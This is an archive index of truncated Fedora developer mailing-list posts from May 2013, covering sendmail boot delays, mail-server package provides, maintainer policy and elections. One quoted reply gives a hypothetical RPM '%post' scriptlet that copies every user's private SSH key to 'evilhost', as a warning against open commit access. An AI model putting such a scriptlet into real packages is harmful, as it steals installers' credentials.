On Wed, May 15, 2013 at 12:04 AM, Dan Mashal wrote:
> On Mon, May 13, 2013 at 12:52 PM, John J. McDonough
> wrote:
> > We had a short discussion of this at this morning's meeting but felt a
> > broader discussion here was warranted.
> >
> > When preparing the Release Notes, we often ask the deve
On 15 May 2013 06:49, "Dan Mashal" wrote:
>
> On Tue, May 14, 2013 at 6:10 PM, Adam Williamson
wrote:
> > We now appear to have *four* virtual provides for mail servers:
> >
> > MTA
> > smtpd
> > smtpdaemon
> > server(smtp)
> >
> > This seems a tad excessive. exim and postfix provide all four. se
On Mon, May 13, 2013 at 12:52 PM, John J. McDonough wrote:
> We had a short discussion of this at this morning's meeting but felt a
> broader discussion here was warranted.
>
> When preparing the Release Notes, we often ask the developers for wiki
> input, and generally come up dry. More recently,
On Tue, May 14, 2013 at 6:10 PM, Adam Williamson wrote:
> We now appear to have *four* virtual provides for mail servers:
>
> MTA
> smtpd
> smtpdaemon
> server(smtp)
>
> This seems a tad excessive. exim and postfix provide all four. sendmail
> provides MTA, smtpdaemon and server(smtp). Nothing els
On Tue, 2013-05-14 at 22:21 -0600, Chris Murphy wrote:
> On May 14, 2013, at 9:53 PM, Adam Williamson wrote:
>
> > Do those 'other platforms' use sendmail? I don't think many other
> > distros ship it by default any more. Debian installs exim by default,
> > for instance.
>
> No. But this one do
On May 14, 2013, at 9:53 PM, Adam Williamson wrote:
> Do those 'other platforms' use sendmail? I don't think many other
> distros ship it by default any more. Debian installs exim by default,
> for instance.
No. But this one does therefore it might be nice, since it's installed *and*
enabled,
On Tue, 2013-05-14 at 21:28 -0600, Chris Murphy wrote:
> > As we've established, sendmail's one minute delay when the hostname is
> > not fully qualified looks ugly, but does not actually delay perceived
> > startup at all, because neither local nor remote login require
> > sendmail.service to be
On Tue, 2013-05-14 at 15:51 -0600, Chris Murphy wrote:
> But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon,
> restorecond, all are an order of magnitude longer on F19 than F18.
> It's a 3+ minute userspace hit on the startup time where the kernel
> takes 1.9 seconds. Off hand this
On May 14, 2013, at 7:54 PM, Adam Williamson wrote:
>
> As we've established, sendmail's one minute delay when the hostname is
> not fully qualified looks ugly, but does not actually delay perceived
> startup at all, because neither local nor remote login require
> sendmail.service to be up.
Wi
On Tue, 2013-05-14 at 20:56 -0500, Michael Catanzaro wrote:
> On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote:
> Plus I mainly use GNOME programs, and GNOME maintainership in Fedora
> seems to be something of an exclusive cabel anyway (can't complain --
> Fedora has the best GNOME, period).
T
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote:
> Sure, we have a scm-commits list as well. I don't read every commit,
> but I do skim them. I can think of lots of times people pointed out
> issues they saw in the commit messages.
Well I mean, someone actually has to press the OK button, or
On Tue, 2013-05-14 at 18:26 -0600, Chris Murphy wrote:
> But the sendmail issue is a distraction from the bigger question I was
> asking which is at what threshold are service startup times reasonable
> vs not reasonable and are their maintainers looking at this or do
> testers need to file bugs o
We now appear to have *four* virtual provides for mail servers:
MTA
smtpd
smtpdaemon
server(smtp)
This seems a tad excessive. exim and postfix provide all four. sendmail
provides MTA, smtpdaemon and server(smtp). Nothing else provides any of
them (though if we could just agree on what any of them
On 05/14/2013 09:09 PM, Kevin Fenzi wrote:
You can even now also mention in your bug that you are a packager and
would be willing to co-maintain. Not everyone would be interested, but
I suspect a lot of maintainers would be happy for the help and would
add you to make your change
Yes assuming
On Tue, 14 May 2013 20:03:41 -0500
Michael Catanzaro wrote:
> Well the open model has already been tried and proven in openSUSE, and
> they're still using it because it actually works really well. There
> aren't usually any issues regarding overlap of work, though admittedly
> that community is
It is time again to begin Fedora's election season. This announcement contains
information regarding the Fedora 20 Naming Election, as well as the Fedora
Board, Fedora Engineering Steering Committee (FESCo), and Fedora Ambassadors
Steering Committee (FAmSCo) elections.
** Fedora 20 Naming Elect
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote:
> On Tue, 14 May 2013 21:04:59 +0100
> "Richard W.M. Jones" wrote:
>
> > I suspect the main one is someone putting:
> >
> > %post
> > scp /home/*/.ssh/id_rsa evilhost:
> >
> > into a commonly used package, or something equivalent but more su
On May 14, 2013, at 5:20 PM, Chris Adams wrote:
> Once upon a time, Chris Murphy said:
>> The only things related to networking I change is setting a hostname from
>> localhost to f18s, f19s or f19q; and occasionally adding the b43 firmware if
>> I decide to go wireless.
>
> Do you add the c
On May 14, 2013, at 4:10 PM, Igor Gnatenko wrote:
>>
> See this bug:
> https://bugzilla.redhat.com/show_bug.cgi?id=962038
> Can you provide from console hostnamectl ?
Static hostname: f19q
Takes about 20 seconds before I can ssh into the VM, but sendmail takes forever
to start. Not graceful.
Once upon a time, Chris Murphy said:
> The only things related to networking I change is setting a hostname from
> localhost to f18s, f19s or f19q; and occasionally adding the b43 firmware if
> I decide to go wireless.
Do you add the changed hostname to /etc/hosts? If not, sendmail (and
some o
On May 14, 2013, at 4:56 PM, Jeffrey Bastian wrote:
> I wonder if there are other oddities like this that are skewing the
> statistics reported by systemd-analyze.
It's not just a statistical skewing, I'm getting 30+ second delays before I can
ssh into the system.
Chris Murphy
--
devel mail
On Tue, May 14, 2013 at 03:51:44PM -0600, Chris Murphy wrote:
> But firewalld goes from 7 seconds to 18 seconds? Why? avahi-daemon,
> restorecond, all are an order of magnitude longer on F19 than F18.
And it was even faster on F17. I had F17 cold booting to a usable
Xfce desktop in 3.6 seconds by
On Tue, 2013-05-14 at 15:51 -0600, Chris Murphy wrote:
> This is not intended to be snarky, but I admit it could sound like it is.
> When are long startup times for services considered to be bugs in their own
> right?
>
>
> [root@f19q ~]# systemd-analyze blame
> 1min 444ms sm-client.serv
On May 14, 2013, at 4:12 PM, Chris Adams wrote:
> Once upon a time, Chris Murphy said:
>> In sendmail's defense, the time is about the same on F18. (It's consistently
>> a bit faster in an F19 VM running on the same F18 system as host.)
>
> When sendmail takes that long, there's a configurati
On Ter, 2013-05-14 at 15:51 -0600, Chris Murphy wrote:
> In sendmail's defense, the time is about the same on F18. (It's
> consistently a bit faster in an F19 VM running on the same F18 system
> as host.)
When sendmail delay so long, in my case normally, was because I don't
network configuration,
Once upon a time, Chris Murphy said:
> In sendmail's defense, the time is about the same on F18. (It's consistently
> a bit faster in an F19 VM running on the same F18 system as host.)
When sendmail takes that long, there's a configuration problem (which
could be in the default config, I don't k
On 05/14/2013 09:51 PM, Chris Murphy wrote:
This is not intended to be snarky, but I admit it could sound like it is. When
are long startup times for services considered to be bugs in their own right?
[root@f19q ~]# systemd-analyze blame
1min 444ms sm-client.service
1min 310ms s
On Tue, 2013-05-14 at 15:51 -0600, Chris Murphy wrote:
> This is not intended to be snarky, but I admit it could sound like it is.
> When are long startup times for services considered to be bugs in their own
> right?
>
>
> [root@f19q ~]# systemd-analyze blame
> 1min 444ms sm-client.serv
This is not intended to be snarky, but I admit it could sound like it is. When
are long startup times for services considered to be bugs in their own right?
[root@f19q ~]# systemd-analyze blame
1min 444ms sm-client.service
1min 310ms sendmail.service
18.602s firewalld.servic
On Tue, 2013-05-14 at 16:02 +0200, Matthias Runge wrote:
> On 05/14/2013 03:22 PM, Kaleb KEITHLEY wrote:
>
> >
> > g.
> >
> > These packages exist in f19. Then what's the correct way to make sure
> > they're installed when glusterfs-ufo is installed without "breaking"
> > dependencies?
> >
On Tue, 14 May 2013 18:32:14 +
"Jóhann B. Guðmundsson" wrote:
> Oh Fesco is only busy but the rest of the community is not omg let me
> not waste your holy time sir...
I did not say you were not busy, just that it's pretty clear that fesco
members are.
...snip...
> > I have no idea what
On Tue, 14 May 2013 21:04:59 +0100
"Richard W.M. Jones" wrote:
> I suspect the main one is someone putting:
>
> %post
> scp /home/*/.ssh/id_rsa evilhost:
>
> into a commonly used package, or something equivalent but more subtle
> than that.
>
> Basically you're giving root access to everyone w
On Tue, May 14, 2013 at 11:45:40AM -0600, Kevin Fenzi wrote:
> On Tue, 14 May 2013 17:13:54 +
> "Jóhann B. Guðmundsson" wrote:
> > What really is needed here is to drop the user ownership module
> > altogether and allow every contribute access to every component or
> > use group ownership mod
Ravindra Kumar (ravindraku...@vmware.com) said:
> I would appreciate if you could let me know a way to test comps file
> changes.
1) Make a new .xml file
Run 'make comps-f19.xml' in a git checkout.
2) Create a new repository using that comps file
createrepo -g your-new-comps-f19.xml /some/path
Ravindra Kumar (ravindraku...@vmware.com) said:
> > The two added group are OK. grouplist is not something that actually is
> > used, though; they would need to either be added as mandatory/optional
> > groups to the desktop environments, or just brought in via the spins'
> > kickstart files.
>
>
# F19 Beta Blocker Review meeting #6
# Date: 2013-05-15
# Time: 16:00 UTC (12:00 EDT, 09:00 PDT)
# Location: #fedora-blocker-review on irc.freenode.net
The sixth blocker review meeting for F19 beta will be tomorrow. It is
the first post-freeze blocker review meeting for beta but the buglist
doesn'
On 05/14/2013 02:32 PM, "Jóhann B. Guðmundsson" wrote:
On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
Yeah, I sure do know... Fesco folks are busy and doing lots of things
in the areas they contribute to, so if people really want to move things
forward, perhaps they should work on some ideas themsel
> --
>
> Message: 3
> Date: Tue, 14 May 2013 15:37:32 +0200
> From: Hans de Goede
> To: Development discussions related to Fedora
>
> Subject: Re: Reviewer needed for some packages? REVIEW SWAP
> Message-ID: <51923e1c.5080...@redhat.com>
> Content-Type: text/pla
On Tue, May 14, 2013 at 2:32 PM, "Jóhann B. Guðmundsson"
wrote:
>> On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
>
> On Tue, 14 May 2013 17:13:54 +
>>> "Jóhann B. Guðmundsson" wrote:
>>> The unresponsive maintainers policy is to be honest crap and to much
>>> in favor of the maintainer.
>>>
>>>
On Tue, May 14, 2013 at 18:32:14 +,
"\"Jóhann B. Guðmundsson\"" wrote:
Oh Fesco is only busy but the rest of the community is not omg let me
not waste your holy time sir...
Everybody is busy. I think the point is, that if this is something you find
very important, you may want to real
On 05/14/2013 05:45 PM, Kevin Fenzi wrote:
On Tue, 14 May 2013 17:13:54 +
"Jóhann B. Guðmundsson" wrote:
On 05/14/2013 01:51 PM, Simone Caronni wrote:
I have a question about the unresponsive mantainer policy [1].
The unresponsive maintainers policy is to be honest crap and to much
in fa
The following Fedora EPEL 5 Security updates need testing:
Age URL
387
https://admin.fedoraproject.org/updates/FEDORA-EPEL-2012-5630/bugzilla-3.2.10-5.el5
282
https://admin.fedoraproject.org/updates/FEDORA-EPEL-2012-6608/Django-1.1.4-2.el5
87
https://admin.fedoraproject.org/updates/FEDO
The following Fedora EPEL 6 Security updates need testing:
Age URL
575
https://admin.fedoraproject.org/updates/FEDORA-EPEL-2011-4701/supybot-gribble-0.83.4.1-10.el6
387
https://admin.fedoraproject.org/updates/FEDORA-EPEL-2012-5620/bugzilla-3.4.14-2.el6
87
https://admin.fedoraproject.org
Product: Fedora
https://bugzilla.redhat.com/show_bug.cgi?id=847128
--- Comment #6 from Fedora Update System ---
perl-DateTime-Format-Oracle-0.06-3.el6 has been pushed to the Fedora EPEL 6
stable repository.
--
You are receiving this mail because:
You are on the CC list for the bug.
Unsubscribe
On Tue, 14 May 2013 17:13:54 +
"Jóhann B. Guðmundsson" wrote:
> On 05/14/2013 01:51 PM, Simone Caronni wrote:
> >
> > I have a question about the unresponsive mantainer policy [1].
>
> The unresponsive maintainers policy is to be honest crap and to much
> in favor of the maintainer.
>
> Fes
On 05/14/2013 01:51 PM, Simone Caronni wrote:
I have a question about the unresponsive mantainer policy [1].
The unresponsive maintainers policy is to be honest crap and to much in
favor of the maintainer.
Fesco allegedly was looking into it but you know...
What really is needed here is to
Hi
On Tue, May 14, 2013 at 12:59 PM, Mattia Verga wrote:
> Hello,
> actually kde-partitionmanager is completely broken in F18, F19 and
> rawhide. This is because KDE have switched to udisks2 backend and it seems
> to me that solid (a component of kdelibs) doesn't correctly parse udisks2
> output
Hello,
actually kde-partitionmanager is completely broken in F18, F19 and
rawhide. This is because KDE have switched to udisks2 backend and it
seems to me that solid (a component of kdelibs) doesn't correctly parse
udisks2 output.
I've opened a bug [1] in KDE tracker six months ago, but it do
I get that part… but that shouldn't stop the directory from being renamed if
it's staying on the same filesystem.
-Philip
On May 14, 2013, at 6:08 AM, Björn Esser wrote:
> All those have their corresponding .pid-files inside /var/run. So I
> guess some of them are keeping an open handle on it
I did, the ./configure part looks like this:
./configure \
--prefix=%{_prefix} \
--libdir=%{_libdir} \
--sysconfdir=%{_sysconfdir} \
--interp-prefix=%{_prefix}/qemu-%%M \
--audio-drv-list=pa,sdl,alsa,oss \
--localstatedir=%{_localstatedir} \
-
On Tue, May 14, 2013 at 12:43:34PM +0200, Richard Marko wrote:
> On 05/14/2013 05:32 AM, Ralph Bean wrote:
> > Try it out, help improve package search, and climb your way to the
> > number-one tagger spot!
> >
>
> It takes too long to load the next card after user clicks. You should
> probably pre
On 05/14/2013 10:09 AM, Pierre-Yves Chibon wrote:
This is the goal of tagger, providing meta information about the package
to allow easier search/filtering and provide a nicer user experience.
Aha, so it should be something like
http://debtags.debian.net
in Debian world.
Good then. I will ignor
On Ter, 2013-05-14 at 18:24 +0800, Christopher Meng wrote:
> For BZ#695233,
> I make a better one, see comment 18 at:
> https://bugzilla.redhat.com/show_bug.cgi?id=695233
> Please point out any errors, thanks!
I my plan is commit BZ#648384 dpkg 1.6 which blocks BZ#961141
debhelper , after sub
On 05/14/2013 03:22 PM, Kaleb KEITHLEY wrote:
>
> g.
>
> These packages exist in f19. Then what's the correct way to make sure
> they're installed when glusterfs-ufo is installed without "breaking"
> dependencies?
>
> Just:
>
> Requires: openstack-swift = 1.8.0
>
> doesn't get them.
>
Hello,
I have a question about the unresponsive mantainer policy [1].
What is the procedure to follow if a mantainer is kindly responding to
personal emails and granting access (really rarely) but is not giving
ownership of the packages even after years of inactivity?
I've been working mostly al
Hi Wolfgang,
Hmm, you may want to send another mail with a subject of just
Review Swap and where you're slightly more verbose about your
intent to swap in the body of the mail, as well as give some
more details on the packages you're looking to swap for.
Only having the words REVIEW SWAP in the
On 05/14/2013 08:15 AM, build...@fedoraproject.org wrote:
glusterfs has broken dependencies in the F-19 tree:
On x86_64:
glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires
openstack-swift-proxy = 0:1.8.0
glusterfs-ufo-3.4.0-0.4.beta1.fc19.noarch requires
openstack-swift-object =
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
Hi all,
as the Fedora 19 schedule[1] states the Beta change freeze is upon
us. As of now all Beta freeze only accepted exceptions[2] will be allowed in.
we are at the beta stage of release, so the Beta_to_Pre_Release[3]
stage of the updates policy
All those have their corresponding .pid-files inside /var/run. So I
guess some of them are keeping an open handle on it.
Am Montag, den 13.05.2013, 22:45 -0600 schrieb Philip A. Prindeville:
> And I had it showed systemd, dbus-daemon, atd, crond, cupsd,
> avahi-daemon, rpcbind, and all sorts
On 05/14/2013 05:32 AM, Ralph Bean wrote:
> Try it out, help improve package search, and climb your way to the
> number-one tagger spot!
>
It takes too long to load the next card after user clicks. You should
probably preload more cards or load them asynchronously.
Cheers,
--
Richard Marko
--
For BZ#695233,
I make a better one, see comment 18 at:
https://bugzilla.redhat.com/show_bug.cgi?id=695233
Please point out any errors, thanks!
--
devel mailing list
devel@lists.fedoraproject.org
https://admin.fedoraproject.org/mailman/listinfo/devel
On Tue, 2013-05-14 at 09:59 +0200, Miroslav Suchý wrote:
> On 05/14/2013 05:32 AM, Ralph Bean wrote:
> > It is a webapp that allows users to upvote/downvote tags on packages as
> > well as rate packages themselves. The data will end up getting pulled into
> > yum repo metadata by the bodhi masher
On 05/14/2013 05:32 AM, Ralph Bean wrote:
It is a webapp that allows users to upvote/downvote tags on packages as
well as rate packages themselves. The data will end up getting pulled into
yum repo metadata by the bodhi masher and into the Fedora Packages[2]
indexer to improve search results. F
On 05/13/2013 04:29 PM, Philip A. Prindeville wrote:
but when I tried this, I get:
[root@mail /]# mv -f /var/run /var/run.runmove~
mv: cannot move `/var/run' to `/var/run.runmove~': Device or resource
busy
[root@mail /]#
right off the bat. Anyone know what the workarou
14.05.2013 03:38, Todd Zullinger пишет:
Eugene Pivnev wrote:
libgnome-keyring is minimal problem (ok - is _not_ problem at all;
although I'm surprised that _console_ git depends on DE-specific
library).
I just recently made use of libgnome-keyring via python-keyring for a
console applicatio
65 matches
Mail list logo
